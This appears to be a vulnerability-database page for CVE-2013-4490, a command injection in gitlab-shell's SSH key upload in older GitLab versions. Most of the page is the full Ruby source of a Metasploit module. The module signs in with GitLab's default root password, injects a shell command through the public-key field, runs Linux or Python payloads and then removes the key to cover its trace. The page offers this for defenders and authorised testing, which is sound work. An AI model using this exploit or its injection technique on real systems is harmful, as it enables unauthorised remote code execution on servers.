CVE-2013-4490

medium
Published 2014-05-13 ยท Modified 2026-05-06
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
7.5

Description

The SSH key upload feature (lib/gitlab_keys.rb) in gitlab-shell before 1.7.3, as used in GitLab 5.0 before 5.4.1 and 6.x before 6.2.3, allows remote authenticated users to execute arbitrary commands via shell metacharacters in the public key.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34362 remote linux verified ruby ยท 8 KB
Metasploit ยท 2014-08-19

Gitlab-shell - Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Gitlab-shell Code Execution',
      'Description'    => %q(
        This module takes advantage of the addition of authorized
        ssh keys in the gitlab-shell functionality of Gitlab. Versions
        of gitlab-shell prior to 1.7.4 used the ssh key provided directly
        in a system call resulting in a command injection vulnerability. As
        this relies on adding an ssh key to an account valid credentials
        are required to exploit this vulnerability.
      ),
      'Author'  =>
        [
          'Brandon Knight'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
          ['CVE', '2013-4490']
        ],
      'Platform'  => 'linux',
      'Targets'        =>
        [
          [ 'Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Linux (x64)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86_64
            }
          ],
          [ 'Unix (CMD)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat'      =>
                    {
                      'RequiredCmd' => 'openssl perl python'
                    },
                  'BadChars' => "\x22"
                }
            }
          ],
          [ 'Python',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'Payload' =>
                {
                  'BadChars' => "\x22"
                }
            }
          ]
        ],
      'CmdStagerFlavor' => %w( bourne printf ),
      'DisclosureDate' => 'Nov 4 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'The username to authenticate as', 'root']),
        OptString.new('PASSWORD',  [true, 'The password for the specified username', '5iveL!fe']),
        OptString.new('TARGETURI', [true,  'The path to Gitlab', '/'])
      ], self.class)
  end

  def exploit
    login
    case target['Platform']
    when 'unix'
      execute_command(payload.encoded)
    when 'python'
      execute_command("python -c \\\"#{payload.encoded}\\\"")
    when 'linux'
      execute_cmdstager(temp: './', linemax: 2800)
    end
  end

  def execute_command(cmd, _opts = {})
    key_id = add_key(cmd)
    delete_key(key_id)
  end

  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
    if res && res.body && res.body.include?('GitLab')
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')

    # Get a valid session cookie and authenticity_token for the next step
    res = send_request_cgi(
                            'method' => 'GET',
                            'cookie' => 'request_method=GET',
                            'uri'    => signin_page
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res

    local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
    auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]

    if res.body.include? 'user[email]'
      @gitlab_version = 5
      user_field = 'user[email]'
    else
      @gitlab_version = 7
      user_field = 'user[login]'
    end

    # Perform the actual login and get the newly assigned session cookie
    res = send_request_cgi(
                            'method' => 'POST',
                            'cookie' => local_session_cookie,
                            'uri'    => signin_page,
                            'vars_post' =>
                              {
                                'utf8' => "\xE2\x9C\x93",
                                'authenticity_token' => auth_token,
                                "#{user_field}" => username,
                                'user[password]' => password,
                                'user[remember_me]' => 0
                              }
                          )

    fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302

    @session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]

    fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
  end

  def add_key(cmd)
    if @gitlab_version == 5
      @key_base = normalize_uri(target_uri.path.to_s, 'keys')
    else
      @key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
    end

    # Perform an initial request to get an authenticity_token so the actual
    # key addition can be done successfully.
    res = send_request_cgi(
                            'method' => 'GET',
                            'cookie' => "request_method=GET; #{@session_cookie}",
                            'uri'    => normalize_uri(@key_base, 'new')
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
    title = rand_text_alphanumeric(16)
    key_info = rand_text_alphanumeric(6)

    # Generate a random ssh key
    key = OpenSSL::PKey::RSA.new 2048
    type = key.ssh_type
    data = [key.to_blob].pack('m0')

    openssh_format = "#{type} #{data}"

    # Place the payload in to the key information to perform the command injection
    key = "#{openssh_format} #{key_info}';#{cmd}; echo '"

    res = send_request_cgi(
                            'method' => 'POST',
                            'cookie' => "request_method=GET; #{@session_cookie}",
                            'uri'    => @key_base,
                            'vars_post' =>
                              {
                                'utf8' => "\xE2\x9C\x93",
                                'authenticity_token' => auth_token,
                                'key[title]' => title,
                                'key[key]' => key
                              }
                          )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    # Get the newly added key id so it can be used for cleanup
    key_id = res.headers['Location'].split('/')[-1]

    key_id
  end

  def delete_key(key_id)
    res = send_request_cgi(
                             'method' => 'GET',
                             'cookie' => "request_method=GET; #{@session_cookie}",
                             'uri'    => @key_base
                           )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]

    # Remove the key which was added to clean up after ourselves
    res = send_request_cgi(
                             'method' => 'POST',
                             'cookie' => "#{@session_cookie}",
                             'uri'    => normalize_uri("#{@key_base}", "#{key_id}"),
                             'vars_post' =>
                             {
                               '_method' => 'delete',
                               'authenticity_token' => auth_token
                             }
                           )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
  end
end

Metasploit modules

Gitlab-shell Code Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
gitlabgitlab5.0.0
gitlabgitlab5.0.1
gitlabgitlab5.1.0
gitlabgitlab5.2.0
gitlabgitlab5.3.0
gitlabgitlab5.4.0
gitlabgitlab6.0.0
gitlabgitlab6.1.0
gitlabgitlab6.2.0
gitlabgitlab6.2.1
gitlabgitlab6.2.2
gitlabgitlab-shell{"endIncluding":"1.7.2"}
gitlabgitlab-shell1.0.4
gitlabgitlab-shell1.1.0
gitlabgitlab-shell1.2.0
gitlabgitlab-shell1.3.0
gitlabgitlab-shell1.4.0
gitlabgitlab-shell1.5.0
gitlabgitlab-shell1.6.0
gitlabgitlab-shell1.7.0
gitlabgitlab-shell1.7.1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.